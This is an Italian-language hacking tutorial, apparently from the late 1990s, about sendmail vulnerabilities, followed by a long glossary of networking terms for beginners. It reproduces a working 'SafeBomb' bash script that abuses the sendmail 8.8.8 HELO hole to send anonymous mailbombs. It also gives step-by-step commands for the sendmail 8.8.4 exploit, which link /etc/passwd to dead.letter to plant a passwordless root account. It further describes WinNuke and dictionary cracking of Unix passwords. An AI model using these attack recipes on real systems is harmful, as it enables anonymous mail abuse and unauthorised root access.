Questo forzerà sendmail a emettere un pericolo di identificazione (messaggio con livello LOG_INFO) e includere u X-Autentication-Warning nelle proprietà del messaggio dicendo che l'host ha provato a nascondersi. Verifica il sorgente (srvrsmtp.c,main.c). Ancora, LogLevel deve essere settato a un valore più alto di 3 (9 è default) in sendmail.cf.

saluti
capone

-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Make source, not [high]score
----------------------------
Valentin 'Val Capone' Pavlov
----------------------------
capone@netbg.com, UKTC87203
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Adesso per il messaggio originale, che descrive l'exploit:

-----Original Message-----
From: Micha³ Zalewski
To: info@rootshell.com
Date: 10 stycznia 1998 12:28
Subject: Sendmail 8.8.8 (qmail?) HELO hole.

Qui c'è una breve descrizione di un buco d Sendmail (qmail) che ho trovato recentemente:

Quando qualcuno ti mailbomba, o prova a mandarti una e-mail falsa, spam, ecc.. - sendmail normalmente attacca hostname del mittente e il suo indirizzo nel messaggio in uscita:
--
>From spam@flooders.net Mon Jan 5 22:08:21 1998
Received: from spammer (marc@math.university.edu [150.129.84.5])
by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!!
--

Questo è perfetto - adesso sai, chi è il responsabile per quelle noiose fesserie nel tuo mailbox:
"Received: from spammer (marc@math.university.edu [150.129.84.5])". Niente di più facile... Ma io trovai un piccolo buco, che permette all'utente di nascondere le sue generalità e di mandare messaggi anonimamente. La sola cosa che devi fare è passare al comando HELO una stringa più lunga di 1024 caratteri circa. La locazione del mittente e altre informazioni molto importanti saranno tagliati!!!! Le proprietà del messaggio diventeranno non interessanti. Qualche volta, il mittente può diventare abbastanza non rintracciabile (ma non sempre, se è possibile ottenere i logs dalla macchina da cui è stato mandato il messaggio):

--
>From spam@flooders.net Mon Jan 5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [molte 'x' dopo...] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!! Adesso indovina chi sono...
--

Qui c'è un piccolo esempio del buco del comando HELO di sendmail. Nota, questo script è stato scritto solo per mostrarti quanto può essere facile mandare e-mail false, mailbomb, con la cooperazione di Sendmail ;) Lo script è molto lento e restrittivo in molti casi, ma spiega bene il problema. (nota, alcuni daemons non di Berkeley sono anche affetti, probabilmente Qmail??):

-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20

echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski "
echo

if [ "$4" = "" ]; then
echo "USAGE: $0 msgfile address server sender"
echo
echo " msgfile - file to send as a message body"
echo " address - address of lucky recipient"
echo " server - outgoing smtp server w/sendmail"
echo " sender - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing is illegal."
echo "Think twice BEFORE you use this program in any way. Also,"
echo "I've never said this program is 100% safe nor bug-free."
echo
sleep 1
exit 0
fi

if [ ! -f $1 ]; then
echo "Message file not found."
echo
exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo
___safebomb__safebomb__safebomb>$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

while [ -f $1 ]; do
$PLIK|telnet $3 25 &>/dev/null &
let SENT=SENT+1
echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
CONNECTED=`ps|grep -c "telnet $3"`
if [ "$LIMIT" -le "$CONNECTED" ]; then
while [ "$LIMIT" -le "$CONNECTED" ]; do
sleep 1
done
fi
if [ "$SENT" -ge "$MAX" ]; then
echo "It's just an example, sorry."
echo
exit 0
fi
done
-- EOF --

fix suggerito: inserire una addizionale lunghezza limite nei parametri di HELO/EHLO verificando le routine o disabilitando AllowBogusHELO (ma potrebbe causae seri problemi). Io non ho i sorgenti dell' 8.8.8 al momento, per questo mi scuso per mancanza di chiarezza.

PS:

--
From: Gregory Neil Shapiro

Io sono capace di riprodurre il problema delle proprietà allungando la stringa di HELO nel tuo script.

[...]
Questo sarà fissato in sendamail 8.9.
--

Micha³ Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowaæ jest rzecz± ludzk±, wykonywaæ rekursywnie - bosk± [P. Deustch]
=--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] ---------=

Giant Bug in Sendmail 8.8.4 (taken from hackersclub.com)
***************************

sendmail 8.8.4 exploit

"Sendmail? 'è il programma più buggato!" -phriend-

Ok, qui c'è una breve e interessante spiegazione di questo interessante exploit. Questo exploit usa la versione 8.8.4 di sendmail e richiede che tu abbia uno shell account sul server in questione. Questo exploit crea un link da etc/passwd a /var/tmp/dead.letter molto semplice veramente. Ecco come lavora, sotto ci sono gli esatti comandi che devi digitare (per quelli handicappati tecnicamente)

* ln /etc/passwd /var/tmp/dead.letter
* telnet target.host 25
* mail from: nonexsistent@not.an.actual.host.com
* rcpt to: nonexsistent@not.as.actual.host.com
* data
* lord::0:0:leet shit:/root:/bin/bash
* .
* quit

Kaboom, hai fatto, collegati tramite telnet alla porta 23 e loggati come lord, nessuna password richiesta.
Grazie a un pò di lavoro, lord ha appena ottenuto gli stessi privilegi del root.

Ci sono un paio di ragioni per cui potrebbe non lavorare.

1. /var e / sono partizioni differenti (come già sai, non puoi fare un link tra differenti partizioni)
2. C'è un account postmaster sulla macchina o mail alias, in questo caso, la tua posta finirà qui invece
di essere scritta su etc/passwd
3. /var/tmp non esiste o non è scrivibile pubblicamente
Ducan Silver
www.hackersclub.com/uu
nota dell'editore: 'lord::0:0:leet shit:/root:/bin/bash' è una linea estratta da un file di password di Unix(33).

Note finali
--------------------
Devi aver notato che non ho messo ogni cosa da BugTraq. Questo perchè ogni cosa a bugtraq ha almeno una risposta (dalla mia esperienza) , e io non gradisco spedire l'intero threads(34) (sono così dannatamente lunghi!)

Angolo dei Newbies
===================
1. Daemon - un programma che è in attesa di una connessione su una porta specifica(2). Alcuni daemon possono ricevere comandi e interagire con te, altri possono semplicemnte emettere un pò di testo e uscire.

2. Port - (per una spiegazione più tecnica di cosa sono le porte, guarda la fine di questa spiegazione) le porte sono come buchi che permettono alle cose (informazioni, in questo caso) di entrare. Ci sono porte fisiche e porte software sul tuo computer . Le porte fisiche sono quegli slot sul retro del computer, del monitor ecc.. . Le porte software sono usate quando ci si connette a un altro computer.
Per esempio : ho appena comprato un computer e voglio convertirlo in un web server (voglio permettere alle persone di accedere a selezionate pagine web, immagini, cgi e java script o applet, programmi ecc.. che sono localizzati sul mio computer (sul MIO computer non su squallidi webhost gratuti come Geocities) e voglio che le persone facciano ciò utilizzando nient'altro che un browser). In ordine di quello che accade, io devo installare un programma webserver.
Il programma webserver apre una porta sul mio computer chiamata porta 80 (questo numero può essere cambiato ma è il numero di default). Poi aspetta per connessioni in arrivo su quella porta. Quando qualcuno naviga il mio sito col suo browser (Netscape, Lynx, internet explorer ecc..) si cornette alla porta 80 del mio computer e manda dei comandi HTTP che il mio programma webserver può capire.
Il mio programma webserver rapidamente prende i dati che arrivano e li manda indietro in una porta che il browser apre sul computer del navigatore. Il browser attenderà su quella porta e aspetterà le informazioni (la pagina html, le immagini, ecc..) che giungono attraverso essa.
Nota circa le porte non di default: se decidi di mettere, diciamo, un webserver su una porta non di default, sarà difficile per le persone accedervi. Se tu decidi di metterlo sulla porta… huummm… 8000 invece di 80, le persone dovranno digitare il tuo IP o il tuo hostname e aggiungere :8000 alla fine. Per esempio 143.241.122.1:8000. Semplicemente digitando 143.241.122.1 nel capo per l’URL del tuo browser è lo stesso che digitare 143.241.122.1:80, così è meglio mettere un webserver sulla porta 80 (a meno che tu vuoi che solo uno specifico gruppo di persone abbia quel numero per accedere al webserver, ma un tale blocco può essere facilmente crackato usando un portscanner(12)).
Ci sono differenti porte per differenti servizi(3) così le informazioni non saranno mischiate. Immagina che il tuo browser prenda dati che si suppone debba prendere il tuo client ftp! Io spero tu abbia l’idea di cos’è una porta.
Allora, ci sono tre tipi di porte: le porte ben conosciute, quelle registrate e quelle dinamiche/private. Le porte ben conosciute sono quelle dalla 0 alla 1023,. Queste sono porte di default per diversi servizi. Per esempio: la porta di default per i webserver è 80. Altrimenti come potrebbe conoscere il tuo browser a quale porta deve accedere?
Allora, le porte registrate sono quelle dalla 1024 alla 49151. Queste porte sono riservate per alcuni programmi. Per esempio: ICQ (www.icq.com) riserva alcune porte per ascoltare vari eventi che arrivano (messaggi, trasferimenti di file, ecc..) attraverso esso. Le porte dinamiche/private sono quelle dalla 49152 alla 65535, e possono essere usate da ognuno per ogni scopo.

Nota importante per le porte ben conosciute: i servizi su queste porte possono essere solo eseguiti da root, così gli utenti inferiori non incominceranno a incasinare porte importanti.

3. Services - un daemon che permette a ognuno che si connette a esso (o a uno specifico gruppo di persone.
Per esempio: tutti quelli con lo stesso range di IP, quelli che conoscono la password segreta, ecc..) di usare alcuni tipi di servizi.
Per esempio: un webserver come quello descritto nella sezione 1 di questo capitolo è un servizio poiché permette alle persone di accedere e richiedere alcuni pezzi di dati.
Il più semplice esempio di servizio a cui posso pensare è “daytime”. Il daytime attende connessioni sulla porta 13 e quando qualcuno ci va, immediatamente annuncia l’ora corrente sul computer che lo esegue (senza bisogno che tu digiti comandi o password o altre cose). Semplice…

4. Daemon banner - la maggior parte dei daemon restituiscono alcune informazioni tecniche su alcuni punti a chi si connette a essi. Queste informazioni possono essere usate da chiunque si connette a questo daemon semplicemente per conoscere come interagire con esso meglio (quel daemon è, che versione, ecc..), ma esso può essere usato dagli hackers.
Colleghiamoci alla porta 23 di someone.com (nota: io ho creato questo hostname e tutti i dettagli esso riguardanti semplicemente per spiegarti i daemon banners. Io realmente non so se esiste un tale hostname e se i dettagli che ti ho dato sono corretti). Sulla porta 23 potresti trovare di solito il telnet(19). Telnet è un servizio che chiede un username e una password nella maggior parte dei casi (a meno che tu non digiti un username non protetto da password. In quel caso semplicemente ti loggherà come un utente a cui non è stata
richiesta password) e poi esegue un programma specificato dal sysadmin(22) e ti lascia lavorare con esso. Nella maggior parte dei casi userai una text-based shell (un interprete di comandi(20)). Il problema è: tu non puoi fare tutto. Tutto dipende da che genere di permessi ha l’users con il quale ti sei loggato. L’user root(14) ha tutti i permessi (legge, scrive (e cancella) e esegue ogni cosa e cambia i permessi delle altre persone). Okay, proviamo a collegarci alla porta 23 su someone.com . All’inizio otteniamo questo:

Welcome to someone.com, running Laccetti 1.0
Login:

Aha! Someone.com sta girando su un sistema operativo chiamato Laccetti 1.0! Dovrebbe essere qualcosa di valore (noi potremmo cercare un bug segnalato riguardante Laccetti 1.0 e questo potrebbe renderci capaci di hackerare questo server ). Ogni parte di informazione su un webserver è importante. Adesso, poiché non sappiamo un username e una password per questo server potremmo anche terminare la connessione o provare a indovinare. La maggior parte dei server hanno un guest account (username: guest, password:guest o solo l’username:guest) o un newuser account (username:newuser, password:newuser o solo username:newuser), ma questo certamente non ci aiuta ad hackerare questi ragazzi… a meno che c’è un buco maggiore in questi accounts. Tu dovrai immaginare queste cose da solo.
Nota su la parola server: un computer è chiamato server se offre servizi. Altrimenti, è chiamato host.

5. Timeout - Okay, adesso ho un daemon che aspetta connessioni sulla porta 23. Adesso, cosa accade se qualcuno si connette ad esso e non fa assolutamente nulla? Egli potrebbe semplicemente rimanere connesso finchè uno di noi o resetta o chiude la connessione. Non vuoi che qualcuno si connetta a qualche porta sul tuo computer e ci rimanga solo collegato, non è vero? Questo potrebbe solo sprecare bandwith(15) di valore! Le persone non vorranno monitorare lo stato del loro network 24 ore al giorno e disconnettere ognuno che decide di aspettare finchè resta collegato (specialmente su grandi network). Per questo è stato inventato il Timeout. Settando un valore di timeout su un daemon (questo può essere fatto durante il processo di setup o lanciando un programma di setup o entrando in alcuni tipi di box di opzioni) puoi chiudere la connessione a ognuno che si connette a esso e non fa nulla per un valore di tempo superiore al timeout. Per esempio: tu metti un daemon sulla porta 17 e setti il timeout dopo 2,5 secondi. Se qualcuno si connette al tuo daemon e non digita nulla per un tempo superiore ai 2,5 secondi, gli verrà chiusa la connessione e quella persona dovrà riconnettersi e cominciare a digitare qualcosa prima che il tempo scada e venga cacciato. Questo è il motivo per cui i webserver hanno un breve timeout di 2 secondi (la maggior parte delle persone si connette ai webserver usando programmi client(16), e questi programmi digitano davvero velocemente…).

6. TCP - sta per Transfer Control Protocol. TCP è un protocollo che è usato per trasferimenti di dati attraverso network (internet, networks locali, ecc..). TCP è molto più affidabile di UDP poiché usa alcune precauzioni, come numeri sequenziali e tutti i tipi di flags di header ingegnosi e tutti (vedi l’eccellente articolo chiamato ‘IP spoofing Demystified’ nella Books Section in blacksun.box.sk per molte informazioni su UDP (veramente DA LEGGERE!!) ). Il solo svantaggio di TCP è che è un po’ più lento dell’UDP, ma è più affidabile, perciò è usato per trasferire files delicati (come programmi - se tu perdi un singolo bit del file l’intera cosa è inutilizzabile).

7. UDP - sta per User Datagram Protocol. UDP è un protocollo usato per trasferire dati attraverso networks (internet, networks locali, ecc..). UDP è meno affidabile di TCP, ma tuttavia è un po’ più veloce, perciò è usato da programmi come Real Player per le trasmissioni video, dove la perdita di un singolo pacchetto(32) o due non è una grave preoccupazione.

8. ICMP - sta per Internet Control Message Protocol. Un protocollo usato per trasferimento di errori tra networks (internet, networks locali, ecc..).

9. IP address - ogni computer connesso a internet ha un indirizzo ip. Se un altro computer vuole interagire con il tuo computer ha bisogno del tuo IP, cosi come tu hai bisogno del numero di telefono di un'altra persona per chiamarla.L’indirizzo IP dovrebbe assomigliare a questo: x.x.x.x dove le x possono essere un numero tra 0 e 255. Nota: ci sono indirizzi IP ‘speciali’ che non sono usati per connettersi agli altri computer.
Per esempio 127.0.0.1 significa localhost, ovvero significa te (il tuo computer). Connettendosi a una certa porta sull’indirizzo IP 121.0.0.1 ti connetterai su una porta del tuo computer. Oh, approposito, IP sta per Internet Protocol(18).

10. Hostname - hey, indovina cosa!? Ho trovato questo sito davvero figo! Ma non posso ricordarmi il suo indirizzo IP, e quando lo faccio, odio digitare queste cose così lunghe! Certo, posso conservarlo, ma cosa vorrò dire ai miei amici su di esso? O cosa farò se sto navigando dal computer di un mio amico o di un posto pubblico e non ho lo ho con me? La risposta a tutte queste domande è l’hostname. Gli hostnames sono pseudonimi degli indirizzi IP. Una lista di hostnames e il loro indirizzo IP è situata in InterNIC, che è un database di tutti gli hostnames e il loro indirizzo IP. Quando digiti un hostname, il tuo computer cercherà quell’hostname e troverà l’appropriato indirizzo IP e si connetterà a esso. Ma invece di dover sovraccaricare InterNIC (Immagina che l’intero mondo si connetta ad esso. Questo sovraccaricherebbe sicuramente i loro servers e dovrebbero spendere soldi per costanti upgrades e backups. E pensa se accadesse qualcosa di male al loro database…). La soluzione per questo problema è chiamata DNS servers(17).

11. Scoprire quali sono i server di posta del tuo ISP - ci sono diversi modi per farlo:
1) Chiama il tuo ISP e chiedi l’indirizzo IP o l’hostname del server della posta in uscita (questo è il server di cui hai bisogno per fare tutti gli scherzi di questo tutorial). Se vuoi conoscere un server di posta di un ISP diverso dal tuo, chiama il loro numero di supporto tecnico. Ma come fare se sei dall’altra parte del mondo e non ti va di spendere tonnellate di soldi per chiamarli ed essere messo in attesa? In questo caso vai al punto 3.
2) Lancia il tuo client di posta, vai nel menu delle preferenze e cerca cosa è scritto nel campo ‘outgoing mail’ o in ‘server SMTP’ (sono la stessa cosa. SMTP sta per Simple Mail Transfer Protocol, che è un protocollo(18) che è usato per mandare e-mail attraverso internet).
3) Indovinando! Se il tuo server bersaglio è someone.com, il loro mail server dovrebbe essere mail.someone.com:25 o someone.com:25. Se no, manda un e-mail a admin@someone.com o a support@someone.com e chiedi loro qual è il loro mail server (essi dovrebbero essere felici di risponderti, a meno che tu gli dici che sei un malefico hacker o qualcosa di simile. In quel caso chiameranno la polizia…).
Nota: non tutti i server del mondo hanno un server per la posta in uscita!

12. Portscanner - un programma che effettua lo scan di un bersaglio per trovare le porte aperte provandosi a connettersi su varie porte. Il più semplice portscanner incomincerà dalla porta 1 e continuerà, ma puoi impostare, sui più sofisticati portscanner, uno specifico range.

13. Services scanner - uno scanner di servizi è molto più sofisticato di un portscanner poiché prova a connettersi su porte predefinite che dovrebbero avere un servizio che tu stai cercando.

14. Root - un account su un computer Unix che ha i massimi privilegi permessi (legge, scrive (e cancella) e esegue ogni cosa e cambia i permessi delle altre persone). Nota: altri account possono avere accesso root, e l’account root potrebbe non sempre avere accesso root, dipende dal sysadmin(22) (ma root è l’account di default per l’accesso root).

15. Bandwith - il totale ammontare della velocità di un dispositivo per la connessione a un network (un modem, una network card, un mail pigeon, ecc..) può averlo. Per esempio: ho appena comprato un nuovo modem. Ha un ampiezza di banda di 100Ks per secondo, ciò significa che può trasferire 100Ks per secondo. Quando usi il tuo dispositivo network per fare qualcosa, esso assorbirà un po’ di ampiezza di banda a seconda della sua operazione.

16. Progamma client - un programma che si connette a certi servizi. La maggior parte dei client dovrebbero sapere come comunicare con quel servizio con o senza le informazioni che riceve dal daemon banner.
Esempio: un internet browser (come Netscape) è un client poiché si connette alla porta 80, dove il webserver daemon sta aspettando per una connessione, e interagisce con esso per poter reperire il file che stai cercando. Un browser deve conoscere come comunicare con il webserver daemon (anche detto HTTPD, http daemon. http sta per Hyper Text Transfer Protocol) per poter pienamente accompiere alle tue richieste.

17. DNS server - un server che conserva hostnames e i loro indirizzi IP. Invece di dover gestire i servers InterNIC’s tutto il pianeta, ogni ISP ha un DNS server. Quando digiti un hostname e dici al tuo modem di connettersi a esso, il tuo computer eseguirà l’azione chiamata ‘ DNS Lookup’. In altre parole, chiederà al DNS server del tuo ISP l’indirizzo IP appropriato per l’hostname che tu hai digitato. Se il server DNS del tuo ISP non sa la risposta, chiede a un server DNS di più alto livello. Se il server DNS di più alto livello non sa la risposta, chiederà a un server DNS di livello ancora maggiore, ecc.. . Il più alto livello è InterNIC stesso.
Se il primo server DNS conosceva la risposta te l’avrebbe data la prima volta. Altrimenti (se l’avesse trovata dopo richieste ad altri server), prima l’avrebbe aggiunta al suo proprio database e poi te l’avrebbe data.

18. Protocol - un insieme di regole usate dai computer per interagire tra di loro tramite un network di simili (come internet o alcuni network locali) essi hanno bisogno di conoscere un protocollo comune e ogni computer deve presupporre che gli altri lo conoscono e lo usano.

19. Telnet - un programma che nella sua semplicità permette di formare una connessione basata sul testo tra il tuo computer e un altro computer attraverso un network di qualche sorta. Tu dovresti scegliere l’indirizzo IP o l’hostname e la porta con cui vuoi metterti in contatto, e telnet stabilirà una TCP connessione tra entrambe le macchine.
Nota circa il Telnet daemon: il telnet daemon è completamente differente. Esso aspetta per connessioni TCP o UDP in arrivo sulla porta 23 e poi chiede l’user per il login (spesso chiamato username) e la password (a meno che l’user digita un username privo di password. In quel caso, ti loggherà senza richiedere la password. Account senza password sono davvero rari!) e poi procede a eseguire un programma (generalmente un interprete dei comandi(20)) e a darti alcuni permessi, tutto dipendente dallo username e dalla password che gli hai dato
(a meno che tu abbia sbagliato. In quel caso, ti sarà detto che o l’username o la password sono sbagliati e ti sarà data un'altra possibilità. La maggior parte dei sistemi ti danno 3 possibilità e poi ti sganciano).

20. Command Interpreter - un programma che accetta comandi da l’user e li trasforma in comandi reali che il computer capisce.
Per esempio: se il tuo interprete contiene un comando chiamato, diciamo, ‘display’, che accetta un singolo parametro che dovrebbe essere un nome di un file, e tu digiti ‘display somefile’ (senza le virgolette, e sostituisci somefile con un file reale) esso tradurrà il comando in ‘okay Sig. Computer, trova il disco rigido facendo questo e questo, vai alla FAT (File Allocation Table) e trova in quale settore/settori questo file è
contenuto, prendi il file e mandalo al dispositivo terminale (il dispositivo standard per l’output è il monitor). Questo rende l’idea?

21. Shell account - un account su un computer remoto (un username, una password, e un gruppo di file di configurazione personale e cose varie). Avere uno shell account su un computer remoto significa avere la possibilità ti collegarsi via telnet ad esso sulla porta 23, digitare il login del tuo account (anche detto username) e la password e ottenendo un interprete dei comandi con alcuni permessi (a seconda del sysadmin)).

22. Sysadmin/admin - l’uomo/donna/essere peloso che gestisce un sistema.

23. Hyper Text - se hai mai visto un documento HTML dovresti sapere cos’è un iper testo, ma potresti non essere consapevole di ciò. HTML sta per Hyper Textual Markup Language. Iper testo è considerato come “un testo arricchito”, poiché puoi aggiungere figure, colori, links, ecc.. ad esso. Confronta quello con il testo regolare e noioso che usa questo tutorial… :D

24. RFC - sta per Request For Comment. Questi sono schizzi di relazioni dell’ IETF (Internet Engeneering Task Force - quei ragazzi che impostano tutti quegli standards di internet e cose varie). Essi contengono suggerimenti per gli standards di internet. Puoi trovare gli RFCs su www.linuxberg.com .

25. InterNIC - il database di registrazione domini e il server DNS di più alto livello sul pianeta.

26. Sub domain - domini di prima classe appaiono così: something.com (o altre estensioni come org, net, it, co.uk, ecc..). Costa 70$ registrarne uno (vedi www.networksolution.com). Domini di seconda classe appaiono così: someone.something.com e costa 0$ registrarne uno, se hai something.com già registrato a te naturalmente (sebbene puoi procurartene gratis su siti come www.anrki.com). Domini di terza classe appaiono così: blah.someone.something.com e non costano nulla, ecc.. .
Nota circa il prezzo dei domini di prima classe: questo prezzo non include il web hosting (qualcuno che ospiterà il tuo sito o qualunque cosa vuoi mettere sul loro server).

27. SSH - sta per Secure Shell. Questo daemon aspetta per connessioni TCP o UDP in arrivo sulla porta 22.
Una volta che ti connetti, ti verranno chiesti un login e una password, proprio come il daemon telnet, solo che SSH encripta ogni cosa per aumentare la sicurezza.

28. Moderated mailing list / mesage board - ti spiegherò questo dandoti un esempio. Bugtraq (vedi www.securityfocus.com) è una delle migliori mailing list legate alla sicurezza. Sebbene le persone possono “mandare cose alla lista” (significa mandare un messaggio e-mail e ottenere che venga mandato a tutti i membri della mailing list), tu non puoi proprio mandare ogni cosa. Aleph1, il moderatore, visiona tutti i messaggi inviati e spedisce solo quelli utili. Lo stesso avviene con le message boards moderate, ecc...

29. DoS attack - DoS sta per Denial Of Service (anche detto “nuke” o “newk”). Un attacco DoS è ogni genere di attacco che causa il blocco di alcuni/tutti i servizi di un computer bersaglio. Per esempio: Winnuke (anche conosciuto come OOB), il più semplice DoS al mondo.
(Preso dal sito dei DoS di Spikeman) Questo programma DoS colpisce i clients di windows mandando un messaggio d’eccezione “out of band” alla porta 139, che non conosce come affrontarlo. Questa è una porta standard di ingresso di windows. Utenti di win 3.11, win95 e win NT sono vulnerabili a questo attacco. Questo programma è principalmente un programma seccatore, ma sta circolando molto in internet adesso. E’ diventato una preoccupazione nelle chatrooms e su IRC. Usando il tuo indirizzo IP e inviando sulla porta 139 dati OOB, utenti maliziosi possono disconnetterti dalla rete, spesso lasciandoti con poche risorse e lo schermo tinto di blu. Qualcuno di voi potrebbe già esserne stato
vittima. Se questo avviene su win95, vedrai un errore fatale di windows simile al seguente:
Fatal exception 0E at 0028: in VxD MSTCP(01) + 000041AE.
This was called from 0028: in VxD NDIS(01) + 00000D7C.
Rebooting the comp should return it to normal state.

Patches ("fixes") For WinNuke (OOB)
-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=
Informazioni addizionali su WinNuke
http://support.microsoft.com/support/kb/articles/Q168/7/47.asp
Windows 95 Patches
http://support.microsoft.com/download/support/mslfiles/Vipup11.exe
http://support.microsoft.com/download/support/mslfiles/Vipup20.exe (for Winsock 2.0*)
http://www.theargon.com/defense/nuke/index.html
Leggere le note riferite alle pacthes per il 95 prima di installarlo.
Quale versione di Winsok hai installata sul tuo pc?
http://premium.microsoft.com/support/kb/articles/Q177/7/19.asp
http://www.theargon.com/defense/nuke/index.html
Windows NT 4.0 Patch
http://support.microsoft.com/support/kb/articles/Q143/4/78.asp
http://www.theargon.com/defense/nuke/index.html
Leggere le note riferite alle pacthes per l’ NT prima di installarlo.

Maggiori informazioni sugli attacchi DoS possono essere trovati in: www.genocide2600.com/~spikeman/main.html

* In realtà non so se questa patch lavorerà su una versione più nuova di Winsock. Perciò io vorrei raccomandarti di downgradarti prima alla versione 1.1 di Winsock (quella allegata a win95) andando nel pannello di controllo -> Network -> e rimovendo l’adattatore TCP/IP e Dial Up e poi ri-aggiungendolo clickando add -> scegli il protocollo e nello spazio delle compagnie scegli Microsoft. Poi cerca per un opzione chiamata TCP/IP e fai doppio click su di essa. Lo stesso per DUN (Dial Up Networking), fai lo stesso ma scegli adattatore invece di protocollo. Dopo che hai finito il downgrading ri-upgrada winsock 2.0, applica la patch (vipup20.exe) e poi upgrada alla nuova versione di winsock.

30. DUN - sta per Dial Up Adapter. DUN è un programma allegato di windows e chiama il tuo ISP nel caso che hai un acount Dial-Up(31)

31. Dial-Up account - un account dial-up presso un ISP significa che il tuo modem deve chiamare alcuni numeri prima che tu possa accedere alla rete. A differenza degli altri account ISP (cavi diretti che ti tengono online 24 ore su 24), tu hai un indirizzo IP dinamico (e non statico come una connessione diretta via cavo) poiché tu ti devi connettere e disconnettere invece di stare online tutto il tempo. Ogni volta che ti riconnetti ti viene assegnato un differente indirizzo IP.

32. Packet - un pezzo di dati che viaggia attraverso un network (come internet o un network locale o esteso).
Un pacchetto è costituito da due parti principali: l’header e i dati stessi. L’header contiene tutti i tipi di ingegnosi valori come il TTL (Time To Live) e oltre (puoi leggere argomenti collegati nella sezione ‘Modem Speedup’ a blacksun.box.sk). La parte dei dati contiene i dati attuali che il pacchetto sta trasportando. Su un regolare acount dial-up, la grandezza di un pacchetto dovrebbe essere 576 bytes (incluso l’header), ma su una connessione diretta via cavo dovrebbe essere molto più grande (guarda ancora la sezione ‘Modem Speedup’ a blacksun.box.sk).

33. Unix password file - ogni sistema unix ha un file di password. Esso contiene una lista di user, le loro password e alcuni importanti informazioni su di loro. Il file di password è situato in etc/passwd. Ogni linea rappresenta un utente. Ogni linea è costituita da 7 campi, separati dal segno ‘ : ‘.
Una linea di un file di password dovrebbe apparire come questa:
username:password criptata:UID:GID:breve descrizione:home directory:shell
Username: l’username dell’utente
Password criptata: la password dell’utente (criptata per maggiore sicurezza). Una password criptata in genere è lunga 13 caratteri.
UID - User ID: ogni utente ha un numero ID. Se il tuo UID è 0 significa che hai accesso root.
GDI - Group ID: puoi impostare un gruppo (per esempio: tutte le persone che lavorano nella divisione contabilità) e impostare permessi speciali per quell’intero gruppo. Il root ha GID 0.
Breve descrizione: breve descrizione dell’utente in linguaggio umano.
Home directory: il directory dove sono contenuti tutti i files di configurazione personale dell’utente.
Shell: un programma che è eseguito una volta che l’utente è collegato. Nella maggior parte dei casi (e in questo caso anche) lo shell è un interprete di comandi.
Se il campo della password criptata è vuoto, significa che l’utente può loggarsi semplicemente immettendo solo l’username. Questo può essere cambiato dopo esserci loggati digitando ‘passwd’ all’interprete dei comandi.
Ti sarà chiesto di impostare una password per il tuo account.
Nota: su alcuni sistemi, devi digitare passwd tuo-username invece di digitare solo passwd.
Nota 2: il root può fare passwd tuo-username e cambiare la password del tuo username, non importa qual è il tuo username.
Nota 3: se tu digiti un qualsiasi carattere che non sia uno dei seguenti ‘. / 0-9 a-z A-Z’ (senza le virgolette) o se non digiti nulla, l’account è disabilitato così che l’utente non può loggarsi. Questo è usato quando sai che potresti voler abilitare l’account in futuro.

Crackare le password criptate
<><><><><><><><><><><><><><><>
Per questo hai bisogno di un password cracker. Un password cracker è un programma che estrae una parola da un file dizionario (anche chiamato ‘wordlist’) o da una combinazione di lettere, numeri, ecc.., il programma la encripta sistematicamente (‘brute force cracking’), nel modo delle password criptate di unix e poi la compara alle passwords date in un file di password. Se le password combaciano, annuncia la password corretta per quell’username.

34. Trhead - adesso sto parlando dei threads nelle liste di discussione e nelle bacheche di messaggi, non sui programmi dei computer. Discuteremo di quelli in un'altra occasione (forse). Un thread è una serie di messaggi che parte da un singolo messaggio. Lasciatemi mostrare: una persona inizia un thread esprimendo un fatto o un opinione. Poi, un'altra persona va nella lista di discussione o nella bacheca di messaggi e esprime la sua opinione su quel soggetto. Poi un'altra persona replica all’opinione della seconda persona. Poi un altro viene, ma decide di replicare al messaggio originale poiché non ha nulla da dire sugli altri messaggi (se si, può spedire due messaggi). Hai afferrato l’idea…

Appendice A: falsi daemons
=========================
Trovai questi due falsi daemon (sendmail e telnet) presso packetstorm.security.com una volta. Questi sono fantastici per ingannare gli attaccanti e per giocare scherzi ai tuoi amici. Questi sono programmi Perl (un linguaggio di programmazione).
Per eseguirli su un sistema unix , digita semplicemente ./nomefile e rimpiazza nomefile con il nome del file che vuoi eseguire. Ogni distribuzione unix contiene perl (Penso. Correggetemi se sbaglio: barakirs@netvision.net.il).
Per eseguirli sotto dos/windows devi scaricare active perl da www.activeperl.com e poi semplicemente fare doppio click su di essi.
Non so come eseguirli sotto un mac. Penso che active perl supporta il mac, ma non sono sicuro.
Adesso sui falsi daemons.
Ci sono due daemon contenuti in un unico pacchetto con un file readme. Di seguito ci sono tutti e tre i file. Non li ho alterati, è tutto per te. Gioca con loro e impara. Oh ,approposito, , se vuoi imparare il perl (o ogni altro linguaggio di programmazione), vai a blacksun.box.sk e cerca la sezione ‘book’.
Divertitevi!

Appendice B: Routing Mail
